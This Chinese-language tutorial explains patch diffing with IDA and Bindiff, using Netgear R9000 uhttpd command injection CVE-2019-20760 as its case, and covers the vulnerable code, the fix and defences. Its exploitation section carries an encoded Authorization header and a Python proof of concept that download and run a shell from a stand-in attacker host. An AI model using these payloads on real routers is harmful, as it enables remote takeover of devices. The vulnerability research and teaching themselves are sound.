从补丁对比看漏洞原理:手把手教你用Bindiff分析Netgear uhttpd的RCE漏洞(CVE-2019-20760)
从补丁对比看漏洞原理手把手教你用Bindiff分析Netgear uhttpd的RCE漏洞CVE-2019-20760在二进制安全领域补丁对比Patch Diffing是一种高效定位漏洞的技术手段。当厂商发布安全更新时通过对比修复前后的二进制文件我们可以快速锁定被修改的关键函数进而分析漏洞成因。本文将以Netgear R9000路由器中的uhttpd服务为例带你深入理解如何利用Bindiff工具挖掘CVE-2019-20760这个经典的远程命令执行漏洞。1. 环境搭建与工具准备1.1 获取目标固件首先需要下载存在漏洞和已修复的两个版本固件漏洞版本R9000-V1.0.4.26修复版本R9000-V1.0.4.28wget https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.26.zip wget https://www.downloads.netgear.com/files/GDC/R9000/R9000-V1.0.4.28.zip1.2 解压固件提取关键文件使用binwalk解压固件获取文件系统binwalk -Mer R9000-V1.0.4.26.img binwalk -Mer R9000-V1.0.4.28.img重点关注/usr/sbin/uhttpd这个二进制文件它是漏洞分析的核心目标。1.3 工具链配置本次分析需要以下工具IDA Pro用于反汇编和静态分析BindiffIDA插件专门用于二进制文件差异比较QEMUARM架构模拟环境可选用于动态调试提示确保Bindiff插件已正确安装到IDA的plugins目录并在分析时选择相同版本的IDA加载两个文件以保证对比准确性。2. Bindiff基础操作与函数匹配2.1 加载二进制文件用IDA分别打开漏洞版本和修复版本的uhttpd等待初始分析完成后通过File Load file Bindiff database加载对比文件Bindiff会自动匹配两个版本中的相似函数2.2 理解匹配结果Bindiff会显示函数相似度评分0-1.0重点关注相似度范围分析建议0.9-1.0几乎无变化0.7-0.9微小调整0.3-0.7显著修改0.3可能重构在本次案例中uh_cgi_auth_check函数显示相似度0.65表明有重要修改。3. 漏洞函数深度分析3.1 漏洞版本代码还原通过反编译漏洞版本的uh_cgi_auth_check关键代码如下memset(s, 0, 0x1000u); v14 strlen(v13); uh_b64decode(s, 0xFFF, v13 6, v14 - 6); v15 strchr(s, :); if (!v15) goto LABEL_32; // 构造命令字符串 snprintf(command, 0x80u, /usr/sbin/hash-data -e %s gt;/tmp/hash_result, v15 1); // 直接执行用户可控输入 system(command);这段代码存在典型命令注入漏洞对HTTP Basic Auth的Base64解码后获取用户名密码使用snprintf拼接用户输入的密码部分到系统命令直接通过system()执行拼接后的命令3.2 修复版本对比分析修复后的版本主要变化// 使用安全函数替代system dni_system(/tmp/hash_result, 0, 0, /usr/sbin/hash-data, -e, v17, 0);关键改进点用dni_system替代危险的system调用参数化执行而非字符串拼接固定命令路径用户输入仅作为参数传递3.3 漏洞利用原理攻击者可以构造特殊的Authorization头Authorization: Basic YWRtaW46YHdnZXQgZXhhbXBsZS5jb20vc2hlbGwuc2gKY2htb2QgK3ggLi9zaGVsbC5zaAouL3NoZWxsLnNoYA解码后实际命令admin:wget example.com/shell.sh chmod x ./shell.sh ./shell.sh当这个输入被拼接到system()调用时反引号内的命令将被执行。4. 漏洞复现与防御方案4.1 本地验证环境搭建使用QEMU模拟ARM环境qemu-system-arm -M vexpress-a9 \ -kernel vmlinuz-3.2.0-4-vexpress \ -initrd initrd.img-3.2.0-4-vexpress \ -drive ifsd,filedebian_wheezy_armhf_standard.qcow2 \ -append root/dev/mmcblk0p2 consolettyAMA0 \ -net nic -net tap,ifnametap0,scriptno,downscriptno \ -nographic4.2 漏洞验证POCimport requests import base64 cmd admin:wget http://attacker.com/shell.elf -O /tmp/shell chmod x /tmp/shell /tmp/shell auth Basic base64.b64encode(cmd.encode()).decode() requests.get(http://target/cgi-bin/, headers{Authorization: auth})4.3 安全防护建议对于开发者避免使用system/popen等危险函数使用execve等参数化执行方式对用户输入进行严格过滤对于管理员及时更新设备固件限制管理界面访问来源监控异常网络请求5. 进阶分析技巧5.1 函数调用图对比使用Bindiff的调用图(Call Graph)功能可以可视化函数关系变化右键函数选择View flow graph对比两个版本的调用关系重点关注新增/删除的安全检查函数5.2 交叉引用分析在IDA中通过Xrefs查找system等危险函数的调用点for addr in idautils.Functions(): if system in GetFunctionName(addr): print(hex(addr), GetFunctionName(addr))5.3 补丁星期二分析策略针对厂商定期更新的安全补丁建议建立自动化抓取固件更新的流程对每个版本进行Bindiff快速筛查优先分析网络服务组件记录历史漏洞模式形成知识库在真实漏洞挖掘过程中补丁对比往往能发现漏洞的同源变异。比如这次分析的命令注入问题在多个厂商的路由器固件中都存在类似模式。掌握Bindiff这类工具的使用能显著提高二进制分析的效率。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2585189.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!